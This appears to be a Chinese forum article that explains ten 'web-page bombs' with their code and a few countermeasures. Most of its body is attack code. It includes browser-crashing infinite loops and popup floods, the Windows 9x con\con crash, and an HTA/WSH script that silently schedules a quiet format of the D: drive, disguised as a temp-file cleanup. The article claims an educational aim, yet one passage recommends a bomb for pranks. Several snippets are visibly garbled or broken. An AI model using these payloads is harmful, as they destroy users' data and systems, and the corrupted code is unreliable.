十大网页炸弹全解密 安雅雪林 @ 08-12 11:17 目前网上流行各种各样的炸弹,其中网页炸弹最令人头痛,因为它们会在我们浏览网页时“爆炸”,轻则死机,重则硬盘被格式化!而许多网络新手对此并不是很了解,觉得很神秘,所以很有必要讲一下这个问题,让我们了解最常见的十种网页炸弹,以后你就会对它们见怪不怪,了如指掌了!对于菜鸟来说这也是网络安全进阶第一步! 注:本文的目的是让你了解这些网页炸弹的攻击原理以及防御方法,如果有网友乱用这些技术攻击别人,出现的后果请自负。同时,为了保障安全,本文中的一些代码我们使用了*号来代替。 同时希望网友加强自己的防范意识,对危险的网页,不要轻易的点击。勤打补丁和升级你的安全工具。
一、最无聊的炸弹——死循环代码 在网页中加入如下代码,只要有人点击你所发出的链接就会不停地打开ie浏览器,直至你的系统资源消耗殆尽死机为止!此时你唯一能做的就是重新启动计算机! 代码如下:<img src=*******:location="网址文件名.htm;">,注:此代码是一个“死循环程序”!属于聊天室炸弹! 预防措施:打ie浏览器→工具→internet选项→安全→internet→自定义级别,把这里所有activex控件和插件都选中“禁止”,选中之后就不会被恶意代码攻击!因为这是一个activex脚本程序! 二、令人心有余悸的炸弹——恐怖的大图片 制作原理很简单:在html语言中加入<img src=“http://恐怖图片的连接地址”width=“1”height=“******************(很大的数字)”>即可。当你的ie看到次语句,就会不断的解析试图打开,但由于图片实在是太大了,超出了其处理能力,这样你的电脑就只有死机一条路可以走了。 三、令你头昏眼花的炸弹——地震死机代码 在记事本中输入如下所示代码到<body>和</body>之间,然后存为任意名字的.html文件,打开该网页后会你的ie会发生“地震”,让你头昏眼花,接着电脑就会死机! <script> if (window.top.moveby){ for(i=1;i<50;i++){ for(j=3;j>0;j--){ window.top.moveby(0,i); window.top.moveby(i,0); window.top.moveby(0,-i*2); window.top.moveby(-i*2,0); window.top.moveby(0,i); window.top.moveby(i,0); } } } </script> <img src="c:\con\con"> 上面这段代码中的<img src="c:\con\con">会使浏览者电脑死机。这是利用了windows 9x的设备名称解析漏洞。 漏洞说明:windows 9x的\con\con设备名称解析漏洞允许用户远程攻击,导致对方windows 98系统崩溃。当windows遇到包含设备名的非法路径时,windows会解析这些路径,此时内核的溢出会导致整个系统出错。 漏洞解析:我们知道con是dos下的特殊设备名,不允许用做文件名,为什么用con\con会引起死机呢?我们把系统转到dos下做个试验就知道了。键入如下命令:copy aa.txt con,系统会显示aa.txt文件的内容,而如果换成:copy aa.txt >con,系统会提示文件不能拷贝到文件自身。如果把con换成lpt或prn,则输出aa.txt的内容到打印机。由此可见,con在这里代表了文件的本身,用con\con这个命令意味着不断调用这个文件自身,使系统资源迅速耗尽而死机。用上面的这个命令只是调用文件自身,速度实在太快,连按ctrl+alt+del键结束的机会都没有。如果在资源管理器中选择的是“按web页”查看,那么连预览该网页都会死机! 解决办法:该代码中的死机部分只对windows 9x操作系统起作用(如果你的windows没有打补丁就会死定了,赶快到微软的站点下载补丁吧。),也就是说windows2000/xp用户不会死机。但“地震”是难免的了。 四、最可怕的炸弹——格式化你的硬盘 部分关键代码如下: scr.reset(); scr.path="c:\windows\startmenu\programs\启动\startup.hta"; scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c0fd58a08'> wsh.run('start/m format.com d:/q/autostart/u'); alert('importantindows is removing unused temporary filies!) scr.write(); 当你浏览了该网页,就会把startup.hta文件悄悄地写入到你的电脑的c:\winwods\start menu\programs\启动文件夹下,并提示你windows正在移除用不到的临时文件。而实际上却在暗中格式化你的d盘!代码中的“/autotest”这个微软未公开的参数使得格式化硬盘时不会出现提示!另两个参数“/q”和“/u”,使得系统不检测硬盘便快速、完全的格式化硬盘。最后start.exe再配合“/m”参数就可以使格式化时的dos-prompt窗口在执行的时候处于最小化的状态。 代码中的“f935dc22-1cf0-11d0-adb9-00c04fd58a0b”对应为“windows scripting host shell object”,我们可以在注册表编辑器中查到它的身影;代码中的“wsh”的全称是windows scripting host,是微软提供的一种基于32位windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在windows桌面或命令提示符下运行。wsh所对应的程序wscript.exe是一个脚本语言解释器,位于windows所在文件夹下,正是它使得脚本可以被执行,就象执行批处理一样。 五、与死机无异——页面冻结代码 如果网页中含有下面这些代码,则当你点击“提交”按钮以后,就会出现“页面被冻结了!”的对话框,然后就会进入页面冻结状态,非常讨厌。代码如下: <body> <script> function freeze() { alert('页面被冻结了!'); while(true) {window.history.back(-1)} } </script> <form> <input type="button" value='提交'onclick="freeze()"> </form> </body> 六、让人心烦的炸弹——不停地打开窗口 这就是本文开篇提到的打开一连串窗口的炸弹,源代码如下两种: 1.<img src="**********:n=1;do{window.open(")}while(n==1)"width="1"> 这个炸弹要求浏览器不停地打开新的页面,用不了多久你的电脑就会死机,这样你也就被踢出了网络。 2.同样的原理,源代码还有这样的:<script language="**********">javascript:n=1;do{alert("嘿嘿,你小子中弹了!");}while(n==1)</script>也是这种类型的炸弹。 七、诱人的美丽——五光十色的炸弹 如果点击含有下面代码的网页时,你的浏览器窗口会不停地交替显示蓝色黄色永不终止,就像是蓝色火焰,煞是好看,但在欣赏电脑屏幕上美妙动人的现象的同时,你什么也不能做,只能reset键重新启动电脑了。源代码如下: <html> <body> <script> var color=new array; color[1]="blue"; color[2]="yellow"; for (x=0;x<3,x++) { document.bgcolor=color[x] in(x==2) { x=0; } } </script> </body> </html> 我们还可以设置成其他颜色,只需改变color[1]="blue";color[2]="yellow"的颜色设置即可,比如黑白交替的只需将“blue”换成“white”、“yellow”换成“black”。 八、让你眼花缭乱——黑白变幻 下面这段代码就可以实现黑白变换的效果,令人眼花缭乱,最好的解决办法就是重新启动计算机。代码如下: <body> <script> var color=new array; color[1]="black"; color[2]="white"; for (x=0;x<3;x++) { document.bgcolor=color[x]; if (x==2){x=0} } </script> </body> 九、让你无法关闭——循环显示无休无止 如果网页中含有下面的代码,则当你点击该网页中的“关闭”按钮以后,就会出现“哈哈,关不掉吧!”对话框,当你点击“确定”以后还会循环出现此对话框,一直到你累得不得了,它还会出现。你说讨厌不讨厌?不过,反过来讲用来捉弄人也不错!代码如下: <body> <input type=button value=关闭 onclick="var e=1; while(1==1){alert((哈哈,关不掉吧!))"> </body> 十、循环弹出多个广告——弹出多页面窗口 如果网页中含有下面的代码,则当你打开该网页时会弹出任意多个窗口,没完没了的显示让你烦恼不已。代码如下: <head> <script language="javascript"> function pop() {for(i=1;i<=10;i++) {window.open('http://www.21cn.com','', 'width=400,height=460','status=off','location=off','toolbar=off','scrollbars=off') } } </script> </head> <body> <form name="form"> <input type="button" value="test" onclick="pop()" name="button" class="unnamed1"> </form> </body> 在本例中会弹出10个窗口,事实上就看对方想让你打开几个了,如果是个特大数的话,你的系统资源很快就会占用光,等着死机吧! 其实,还有其他各种类型的炸弹,其原理与上面介绍的这些大同小异,在此就不一一赘述了。 再次声明:该系列代码不得用于恶意。 本文转载自银光逝水。(没事,我自己的东西) |